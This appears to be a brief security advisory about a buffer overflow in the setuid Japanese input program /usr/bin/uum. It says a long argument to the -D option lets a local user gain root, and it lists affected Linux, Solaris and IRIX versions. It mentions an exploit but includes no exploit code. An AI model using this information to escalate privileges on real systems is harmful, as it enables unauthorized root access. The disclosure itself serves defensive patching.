I found the security vulnerability in uum Japanese Kana-Kanji FEP. This program is installed on many Japanese UNIX with default. /usr/bin/uum is a suid program, it overflows if the long argment is specified with -D option. I coded an exploit for the Linux, the local user can obtain a root privilege. I also confirmed this overflow on the following OSs. Solaris 2.6,2.7, IRIX 5.3,6.2,6.3,6.4,6.5.
